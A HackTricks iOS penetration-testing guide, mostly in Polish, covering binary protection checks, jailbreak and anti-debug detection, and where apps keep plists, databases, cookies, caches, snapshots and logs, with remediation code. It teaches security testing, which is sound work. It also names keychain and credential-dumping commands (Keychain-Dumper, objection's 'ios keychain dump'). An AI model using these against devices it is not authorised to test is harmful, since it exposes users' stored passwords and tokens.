iOS Pentesting
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawy iOS
Środowisko testowe
Na tej stronie znajdziesz informacje o iOS simulator, emulatorach i jailbreakingu:
Wstępna analiza
Podstawowe operacje testowe iOS
Podczas testów zostanie zasugerowanych kilka operacji (połączenie z urządzeniem, odczyt/zapis/upload/download plików, użycie narzędzi…). Jeśli nie wiesz jak wykonać którąkolwiek z tych czynności, zacznij od przeczytania strony:
Tip
Do kolejnych kroków aplikacja powinna być zainstalowana na urządzeniu i powinieneś/powinnaś mieć już uzyskany plik IPA aplikacji.
Read the Basic iOS Testing Operations page to learn how to do this.
Podstawowa analiza statyczna
Kilka przydatnych dekompilatorów iOS (plików IPA):
Zaleca się użycie narzędzia MobSF do automatycznej analizy statycznej pliku IPA.
Identyfikacja zabezpieczeń obecnych w pliku binarnym:
- PIE (Position Independent Executable): Gdy włączone, aplikacja ładuje się pod losowy adres pamięci przy każdym uruchomieniu, co utrudnia przewidzenie początkowego adresu pamięci.
otool -hv <app-binary> | grep PIE # It should include the PIE flag
- Stack Canaries: Aby zweryfikować integralność stosu, wartość „canary” jest umieszczana na stosie przed wywołaniem funkcji i sprawdzana ponownie po zakończeniu funkcji.
otool -I -v <app-binary> | grep stack_chk # It should include the symbols: stack_chk_guard and stack_chk_fail
- ARC (Automatic Reference Counting): Aby zapobiegać powszechnym błędom związanym z korupcją pamięci
otool -I -v <app-binary> | grep objc_release # It should include the _objc_release symbol
- Encrypted Binary: Plik binarny powinien być zaszyfrowany
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # The cryptid should be 1
Identyfikacja wrażliwych/niebezpiecznych funkcji
- Weak Hashing Algorithms
# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"
# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
- Insecure Random Functions
# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"
# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
- Insecure ‘Malloc’ Function
# On the iOS device
otool -Iv <app> | grep -w "_malloc"
# On linux
grep -iER "_malloc"
- Insecure and Vulnerable Functions
# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"
# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
Typowe metody wykrywania jailbreak
- File System Checks: Sprawdź obecność typowych plików i katalogów jailbreak, takich jak
/Applications/Cydia.applub/Library/MobileSubstrate/MobileSubstrate.dylib. - Sandbox Violations: Spróbuj uzyskać dostęp do zastrzeżonych obszarów systemu plików, które powinny być zablokowane na urządzeniach bez jailbreak.
- API Checks: Sprawdź czy możliwe jest użycie zabronionych wywołań takich jak
fork()do utworzenia procesu potomnego lubsystem()aby sprawdzić czy /bin/sh istnieje. - Process Checks: Monitoruj obecność znanych procesów związanych z jailbreak, takich jak
Cydia,Substrate, lubssh. - Kernel Exploits: Sprawdź obecność exploitów jądra, które są powszechnie używane w jailbreakach.
- Environment Variables: Zbadaj zmienne środowiskowe pod kątem oznak jailbreak, takich jak
DYLD_INSERT_LIBRARIES. - Libraries Check: Sprawdź biblioteki załadowane do procesu aplikacji.
- Check schemes: Na przykład
canOpenURL(URL(string: "cydia://")).
Typowe metody wykrywania anti-debugging
- Check for Debugger Presence: Użyj
sysctllub innych metod, aby sprawdzić czy debugger jest dołączony. - Anti-Debugging APIs: Szukaj wywołań do API anti-debugging, takich jak
ptracelubSIGSTOPnp.ptrace(PT_DENY_ATTACH, 0, 0, 0). - Timing Checks: Mierz czas wykonania niektórych operacji i szukaj rozbieżności mogących wskazywać na debugowanie.
- Memory Checks: Zbadaj pamięć pod kątem znanych artefaktów debuggera lub modyfikacji.
- Environment Variables: Sprawdź zmienne środowiskowe, które mogą wskazywać na sesję debuggera.
- Mach Ports: Wykryj, czy mach exception ports są używane przez debugery.
Podstawowa analiza dynamiczna
Zapoznaj się z analizą dynamiczną, którą wykonuje MobSF. Będziesz musiał/a przejść przez różne widoki i wchodzić z nimi w interakcję — narzędzie podczepia wiele klas, wykonuje różne operacje i przygotuje raport po zakończeniu.
Lista zainstalowanych aplikacji
Użyj polecenia frida-ps -Uai, aby określić bundle identifier zainstalowanych aplikacji:
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
Basic Enumeration & Hooking
Learn how to enumerate the components of the application and how to easily hook methods and classes with objection:
IPA Structure
The structure of an IPA file is essentially that of a zipped package. By renaming its extension to .zip, it can be decompressed to reveal its contents. Within this structure, a Bundle represents a fully packaged application ready for installation. Inside, you will find a directory named <NAME>.app, which encapsulates the application’s resources.
Info.plist: Ten plik zawiera szczegółowe ustawienia konfiguracyjne aplikacji._CodeSignature/: Ten katalog zawiera plik plist z podpisem, zapewniającym integralność wszystkich plików w bundle.Assets.car: Skompresowane archiwum przechowujące pliki zasobów, takie jak ikony.Frameworks/: Ten folder zawiera natywne biblioteki aplikacji, które mogą występować w postaci plików.dyliblub.framework.PlugIns/: Może zawierać rozszerzenia aplikacji, znane jako pliki.appex, chociaż nie zawsze są obecne. *Core Data: Służy do zapisywania trwałych danych aplikacji do użytku offline, przechowywania tymczasowych danych w pamięci podręcznej oraz dodawania funkcji cofania (undo) dla aplikacji na pojedynczym urządzeniu. Aby synchronizować dane pomiędzy wieloma urządzeniami w ramach jednego konta iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit.PkgInfo: PlikPkgInfojest alternatywnym sposobem określenia kodów typu i twórcy dla Twojej aplikacji lub bundle.- en.lproj, fr.proj, Base.lproj: Są to pakiety językowe zawierające zasoby dla tych konkretnych języków oraz zasób domyślny na wypadek, gdy dany język nie jest obsługiwany.
- Security: Katalog
_CodeSignature/odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich dołączonych plików za pomocą podpisów cyfrowych. - Asset Management: Plik
Assets.carwykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej rozmiaru. - Frameworks and PlugIns: Te katalogi podkreślają modularność aplikacji iOS, pozwalając deweloperom na dołączanie wielokrotnego użytku bibliotek kodu (
Frameworks/) oraz rozszerzanie funkcjonalności aplikacji (PlugIns/). - Localization: Struktura wspiera wiele języków, ułatwiając globalne dotarcie aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych.
Info.plist
The Info.plist serves as a cornerstone for iOS applications, encapsulating key configuration data in the form of key-value pairs. This file is a requisite for not only applications but also for app extensions and frameworks bundled within. It’s structured in either XML or a binary format and holds critical information ranging from app permissions to security configurations. For a detailed exploration of available keys, one can refer to the Apple Developer Documentation.
For those looking to work with this file in a more accessible format, the XML conversion can be achieved effortlessly through the use of plutil on macOS (available natively on versions 10.2 and later) or plistutil on Linux. The commands for conversion are as follows:
- For macOS:
$ plutil -convert xml1 Info.plist
- Dla Linuxa:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Pośród mnóstwa informacji, które plik Info.plist może ujawnić, godne uwagi wpisy obejmują ciągi uprawnień aplikacji (UsageDescription), niestandardowe schematy URL (CFBundleURLTypes) oraz konfiguracje App Transport Security (NSAppTransportSecurity). Te wpisy, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (UTExportedTypeDeclarations / UTImportedTypeDeclarations), można z łatwością odnaleźć, przeglądając plik lub używając prostego polecenia grep:
$ grep -i <keyword> Info.plist
Ścieżki danych
W środowisku iOS katalogi są wyznaczone specjalnie dla aplikacji systemowych i aplikacji zainstalowanych przez użytkownika. Aplikacje systemowe znajdują się w katalogu /Applications, natomiast aplikacje zainstalowane przez użytkownika są umieszczone w /var/mobile/containers/Data/Application/. Tym aplikacjom przypisuje się unikalny identyfikator znany jako 128-bit UUID, co utrudnia ręczne zlokalizowanie folderu aplikacji ze względu na losowość nazw katalogów.
Warning
As applications in iOS must be sandboxed, each app will have also a folder inside
$HOME/Library/Containerswith app’sCFBundleIdentifieras the folder name.However, both folders (data & container folders) have the file
.com.apple.mobile_container_manager.metadata.plistthat links both files in the keyMCMetadataIdentifier).
Aby ułatwić odkrycie katalogu instalacyjnego aplikacji zainstalowanej przez użytkownika, narzędzie objection udostępnia przydatne polecenie env. To polecenie ujawnia szczegółowe informacje o katalogach dla danej aplikacji. Poniżej znajduje się przykład użycia tego polecenia:
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
Alternatywnie nazwę aplikacji można wyszukać w /private/var/containers za pomocą polecenia find:
find /private/var/containers -name "Progname*"
Polecenia takie jak ps i lsof można również wykorzystać do zidentyfikowania procesu aplikacji i wyświetlenia otwartych plików, co daje wgląd w aktywne ścieżki katalogów aplikacji:
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
Katalog Bundle:
- AppName.app
- To jest pakiet aplikacji (Application Bundle), jak widziano wcześniej w IPA; zawiera niezbędne dane aplikacji, treści statyczne oraz skompilowany binarny plik aplikacji.
- Ten katalog jest widoczny dla użytkowników, ale użytkownicy nie mogą w nim zapisywać.
- Zawartość tego katalogu jest nie objęta kopią zapasową.
- Zawartość tego folderu jest używana do walidacji podpisu kodu.
Katalog danych:
- Documents/
- Zawiera wszystkie dane generowane przez użytkownika. To użytkownik końcowy aplikacji inicjuje tworzenie tych danych.
- Widoczne dla użytkowników i użytkownicy mogą w nim zapisywać.
- Zawartość tego katalogu jest objęta kopią zapasową.
- Aplikacja może wykluczyć ścieżki ustawiając
NSURLIsExcludedFromBackupKey. - Library/
- Zawiera wszystkie pliki, które nie są specyficzne dla użytkownika, takie jak caches, preferences, cookies, oraz pliki konfiguracyjne property list (plist).
- Aplikacje iOS zazwyczaj używają podkatalogów
Application SupportiCaches, ale aplikacja może tworzyć niestandardowe podkatalogi. - Library/Caches/
- Zawiera półtrwałe pliki cache.
- Niewidoczny dla użytkowników i użytkownicy nie mogą w nim zapisywać.
- Zawartość tego katalogu nie jest objęta kopią zapasową.
- System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie działa, a przestrzeń dyskowa jest ograniczona.
- Library/Application Support/
- Zawiera trwałe pliki niezbędne do uruchomienia aplikacji.
- Niewidoczny dla użytkowników i użytkownicy nie mogą w nim zapisywać.
- Zawartość tego katalogu jest objęta kopią zapasową.
- Aplikacja może wykluczyć ścieżki ustawiając
NSURLIsExcludedFromBackupKey. - Library/Preferences/
- Służy do przechowywania właściwości, które mogą przetrwać nawet po ponownym uruchomieniu aplikacji.
- Informacje są zapisywane, niezaszyfrowane, wewnątrz sandboxu aplikacji w pliku plist o nazwie [BUNDLE_ID].plist.
- Wszystkie pary klucz/wartość zapisane przy użyciu
NSUserDefaultsmożna znaleźć w tym pliku. - tmp/
- Użyj tego katalogu do zapisywania plików tymczasowych, które nie muszą przetrwać między uruchomieniami aplikacji.
- Zawiera nieutrwalone pliki cache.
- Niewidoczny dla użytkowników.
- Zawartość tego katalogu nie jest objęta kopią zapasową.
- System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie działa, a przestrzeń dyskowa jest ograniczona.
Let’s take a closer look at iGoat-Swift’s Application Bundle (.app) directory inside the Bundle directory (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
Binary Reversing
W folderze <application-name>.app znajdziesz plik binarny o nazwie <application-name>. To jest plik, który będzie wykonywany. Możesz przeprowadzić podstawową inspekcję pliku binarnego za pomocą narzędzia otool:
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
Sprawdź, czy aplikacja jest zaszyfrowana
Sprawdź, czy jest jakikolwiek output dla:
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
Disassembling the binary
Disassemble the text section:
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
Aby wydrukować Objective-C segment przykładowej aplikacji, można użyć:
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
Aby uzyskać bardziej zwięzły kod Objective-C, możesz użyć class-dump:
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
However, the best options to disassemble the binary are: Hopper and IDA.
Przechowywanie danych
To learn about how iOS stores data in the device read this page:
Warning
The following places to store information should be checked right after installing the application, after checking all the functionalities of the application and even after login out from one user and login into a different one.
The goal is to find unprotected sensitive information of the application (passwords, tokens), of the current user and of previously logged users.
Plist
plist files are structured XML files that contains key-value pairs. It’s a way to store persistent data, so sometimes you may find sensitive information in these files. It’s recommended to check these files after installing the app and after using intensively it to see if new data is written.
The most common way to persist data in plist files is through the usage of NSUserDefaults. This plist file is saved inside the app sandbox in Library/Preferences/<appBundleID>.plist
The NSUserDefaults class provides a programmatic interface for interacting with the default system. The default system allows an application to customize its behaviour according to user preferences. Data saved by NSUserDefaults can be viewed in the application bundle. This class stores data in a plist file, but it’s meant to be used with small amounts of data.
This data cannot be longer accessed directly via a trusted computer, but can be accessed performing a backup.
You can dump the information saved using NSUserDefaults using objection’s ios nsuserdefaults get
To find all the plist of used by the application you can access to /private/var/mobile/Containers/Data/Application/{APPID} and run:
find ./ -name "*.plist"
Aby konwertować pliki z formatu XML lub binarnego (bplist) do XML, dostępne są różne metody zależne od systemu operacyjnego:
Dla użytkowników macOS: Użyj polecenia plutil. To wbudowane narzędzie w macOS (10.2+), przeznaczone do tego celu:
$ plutil -convert xml1 Info.plist
Dla użytkowników Linuxa: Zainstaluj najpierw libplist-utils, a następnie użyj plistutil, aby przekonwertować swój plik:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Within an Objection Session: Do analizy aplikacji mobilnych istnieje polecenie, które pozwala bezpośrednio skonwertować pliki plist:
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
Core Data
Core Data is a framework for managing the model layer of objects in your application. Core Data can use SQLite as its persistent store, but the framework itself is not a database.\
CoreData nie szyfruje swoich danych domyślnie. Jednak do CoreData można dodać dodatkową warstwę szyfrowania. Zobacz the GitHub Repo po więcej szczegółów.
You can find the SQLite Core Data information of an application in the path /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support
Jeśli możesz otworzyć plik SQLite i uzyskać dostęp do wrażliwych informacji, oznacza to błędną konfigurację.
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
YapDatabase
YapDatabase jest magazynem klucz/wartość zbudowanym na SQLite.
Ponieważ bazy Yap są bazami SQLite, możesz je znaleźć używając wskazanej komendy w poprzedniej sekcji.
Other SQLite Databases
Aplikacje często tworzą własne bazy danych SQLite. Mogą przechowywanie wrażliwych danych w nich i zostawiać je niezaszyfrowane. Dlatego zawsze warto sprawdzić każdą bazę danych w katalogu aplikacji. Przejdź więc do katalogu aplikacji, gdzie dane są zapisywane (/private/var/mobile/Containers/Data/Application/{APPID})
find ./ -name "*.sqlite" -or -name "*.db"
Firebase Real-Time Databases
Deweloperzy mogą przechowywać i synchronizować dane w NoSQL cloud-hosted database za pomocą Firebase Real-Time Databases. Dane są przechowywane w formacie JSON i synchronizowane ze wszystkimi podłączonymi klientami w czasie rzeczywistym.
Możesz sprawdzić, jak wykrywać źle skonfigurowane bazy danych Firebase tutaj:
Realm databases
Realm Objective-C and Realm Swift oferują potężną alternatywę dla przechowywania danych, nieudostępnianą przez Apple. Domyślnie przechowują dane niezaszyfrowane, szyfrowanie jest dostępne po odpowiedniej konfiguracji.
Bazy danych znajdują się pod: /private/var/mobile/Containers/Data/Application/{APPID}. Aby przeglądać te pliki, można użyć poleceń takich jak:
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
Do przeglądania tych plików baz danych zalecane jest użycie narzędzia Realm Studio.
Aby zaimplementować szyfrowanie w bazie Realm, można użyć poniższego fragmentu kodu:
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Bazy danych Couchbase Lite
Couchbase Lite jest opisywany jako lekki i wbudowany silnik bazy danych, który stosuje podejście zorientowane na dokumenty (NoSQL). Zaprojektowany jako natywny dla iOS i macOS, oferuje możliwość płynnej synchronizacji danych.
Aby zidentyfikować potencjalne bazy danych Couchbase na urządzeniu, należy sprawdzić następujący katalog:
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
Cookies
iOS przechowuje cookies aplikacji w Library/Cookies/cookies.binarycookies w katalogu każdej aplikacji. Jednak deweloperzy czasami decydują się zapisać je w keychain, ponieważ wspomniany plik cookie może być dostępny w kopiach zapasowych.
Aby przejrzeć plik cookies możesz użyć this python script lub użyć objection’s ios cookies get.
Możesz także użyć objection, aby przekonwertować te pliki do formatu JSON i przeanalizować dane.
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
Cache
Domyślnie NSURLSession przechowuje dane, takie jak HTTP requests and responses in the Cache.db. Ta baza danych może zawierać wrażliwe dane, jeśli tokeny, nazwy użytkowników lub inne wrażliwe informacje zostały zbuforowane. Aby znaleźć zbuforowane informacje, otwórz katalog danych aplikacji (/var/mobile/Containers/Data/Application/<UUID>) i przejdź do /Library/Caches/<Bundle Identifier>. Również WebKit cache is also being stored in the Cache.db. Objection może otworzyć i interagować z bazą danych za pomocą polecenia sqlite connect Cache.db, ponieważ jest to normalna baza danych SQLite.
Zaleca się wyłączyć cachowanie tych danych, ponieważ mogą one zawierać wrażliwe informacje w żądaniu lub odpowiedzi. Poniższa lista pokazuje różne sposoby osiągnięcia tego:
- Zaleca się usuwanie zbuforowanych odpowiedzi po wylogowaniu. Można to zrobić za pomocą metody dostarczonej przez Apple o nazwie
removeAllCachedResponses. Możesz wywołać tę metodę w następujący sposób:
URLCache.shared.removeAllCachedResponses()
Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db.
- Jeśli nie potrzebujesz korzystać z zalet cookies, zaleca się użycie właściwości konfiguracji URLSession .ephemeral, która wyłączy zapisywanie cookies i cache.
An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.
- Cache można również wyłączyć ustawiając Cache Policy na .notAllowed. Wyłączy to przechowywanie cache w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku.
Snapshots
Za każdym razem, gdy naciśniesz przycisk Home, iOS robi zrzut bieżącego ekranu, aby przejścia między aplikacjami były płynniejsze. Jednak jeśli na aktualnym ekranie znajdują się wrażliwe dane, zostaną one zapisane w obrazie (który przetrwa ponowne uruchomienia). To są zrzuty, do których można również uzyskać dostęp, dwukrotnie stukając przycisk Home, aby przełączać się między aplikacjami.
O ile iPhone nie jest jailbroken, atakujący musi mieć dostęp do odblokowanego urządzenia, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni snapshot jest przechowywany w sandboxie aplikacji w Library/Caches/Snapshots/ lub Library/SplashBoard/Snapshots (trusted computers can’ t access the filesystem from iOX 7.0).
Jednym ze sposobów zapobiegania temu niepożądanemu zachowaniu jest wyświetlenie pustego ekranu lub usunięcie wrażliwych danych przed wykonaniem zrzutu, używając funkcji ApplicationDidEnterBackground().
Poniżej znajduje się przykładowa metoda naprawcza, która ustawi domyślny screenshot.
Swift:
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C:
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
To ustawia obraz tła na overlayImage.png za każdym razem, gdy aplikacja przechodzi w tryb tła. Zapobiega sensitive data leaks, ponieważ overlayImage.png zawsze nadpisze aktualny widok.
Keychain
Do uzyskiwania dostępu i zarządzania iOS keychain dostępne są narzędzia takie jak Keychain-Dumper, odpowiednie dla urządzeń jailbroken. Dodatkowo, Objection udostępnia polecenie ios keychain dump do podobnych celów.
Przechowywanie poświadczeń
Klasa NSURLCredential jest idealna do zapisywania poufnych informacji bezpośrednio w keychain, omijając konieczność użycia NSUserDefaults lub innych wrapperów. Aby przechować poświadczenia po zalogowaniu, używany jest następujący kod Swift:
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
Aby wyodrębnić te zapisane poświadczenia, używa się polecenia Objection ios nsurlcredentialstorage dump.
Własne klawiatury i pamięć podręczna klawiatury
Od iOS 8.0 użytkownicy mogą instalować rozszerzenia własnych klawiatur, którymi można zarządzać w Ustawienia > Ogólne > Klawiatura > Klawiatury. Choć te klawiatury oferują rozszerzoną funkcjonalność, niosą ryzyko logowania naciśnięć klawiszy i przesyłania danych do zewnętrznych serwerów — użytkownicy są jednak informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać użycie własnych klawiatur przy wprowadzaniu wrażliwych informacji.
Zalecenia bezpieczeństwa:
- Zaleca się wyłączenie klawiatur firm trzecich w celu zwiększenia bezpieczeństwa.
- Należy zwracać uwagę na funkcje autokorekty i podpowiedzi domyślnej klawiatury iOS, które mogą przechowywać wrażliwe informacje w plikach cache znajdujących się w
Library/Keyboard/{locale}-dynamic-text.datlub/private/var/mobile/Library/Keyboard/dynamic-text.dat. Te pliki cache powinny być regularnie sprawdzane pod kątem wrażliwych danych. Zaleca się zresetowanie słownika klawiatury poprzez Ustawienia > Ogólne > Resetuj > Resetuj słownik klawiatury w celu wyczyszczenia danych z pamięci podręcznej. - Przechwytywanie ruchu sieciowego może ujawnić, czy dana klawiatura przesyła naciśnięcia klawiszy zdalnie.
Zapobieganie przechowywaniu danych pól tekstowych w pamięci podręcznej
The UITextInputTraits protocol offers properties to manage autocorrection and secure text entry, essential for preventing sensitive information caching. For example, disabling autocorrection and enabling secure text entry can be achieved with:
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
Dodatkowo deweloperzy powinni upewnić się, że pola tekstowe, zwłaszcza te przeznaczone do wprowadzania wrażliwych danych, takich jak passwords i PINs, wyłączają przechowywanie w pamięci podręcznej, ustawiając autocorrectionType na UITextAutocorrectionTypeNo oraz secureTextEntry na YES.
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
Logs
Debugging kodu często wiąże się z używaniem logging. Istnieje ryzyko, ponieważ logs mogą zawierać wrażliwe informacje. Wcześniej, w iOS 6 i starszych wersjach, logs były dostępne dla wszystkich aplikacji, co stwarzało ryzyko wycieku wrażliwych danych. Obecnie aplikacje mają ograniczony dostęp i mogą odczytywać tylko swoje logs.
Pomimo tych ograniczeń, attacker with physical access do odblokowanego urządzenia nadal może to wykorzystać, podłączając urządzenie do komputera i reading the logs. Należy pamiętać, że logs pozostają na dysku nawet po odinstalowaniu aplikacji.
Aby zmniejszyć ryzyko, zaleca się dokładnie testować aplikację, eksplorując wszystkie jej funkcje i pola wejściowe, aby upewnić się, że żadna wrażliwa informacja nie jest przypadkowo zapisywana w logs.
Przeglądając kod źródłowy aplikacji pod kątem potencjalnych leaks, szukaj zarówno predefined, jak i custom logging statements używając takich słów-kluczy jak NSLog, NSAssert, NSCAssert, fprintf dla wbudowanych funkcji, oraz wszelkich wzmianek o Logging lub Logfile w przypadku własnych implementacji.
Monitorowanie systemowych logs
Aplikacje zapisują różne informacje, które mogą być wrażliwe. Aby monitorować te logs, narzędzia i polecenia takie jak:
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
są przydatne. Dodatkowo, Xcode umożliwia zbieranie logów konsoli:
- Otwórz Xcode.
- Podłącz urządzenie iOS.
- Przejdź do Window -> Devices and Simulators.
- Wybierz swoje urządzenie.
- Wywołaj problem, który badajesz.
- Użyj przycisku Open Console, aby wyświetlić logi w nowym oknie.
Dla bardziej zaawansowanego logowania, połączenie z powłoką urządzenia i użycie socat umożliwia monitorowanie logów w czasie rzeczywistym:
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
Zawiera polecenia do obserwacji aktywności w logach, które mogą być nieocenione przy diagnozowaniu problemów lub wykrywaniu potencjalnego data leakage w logach.
Kopie zapasowe
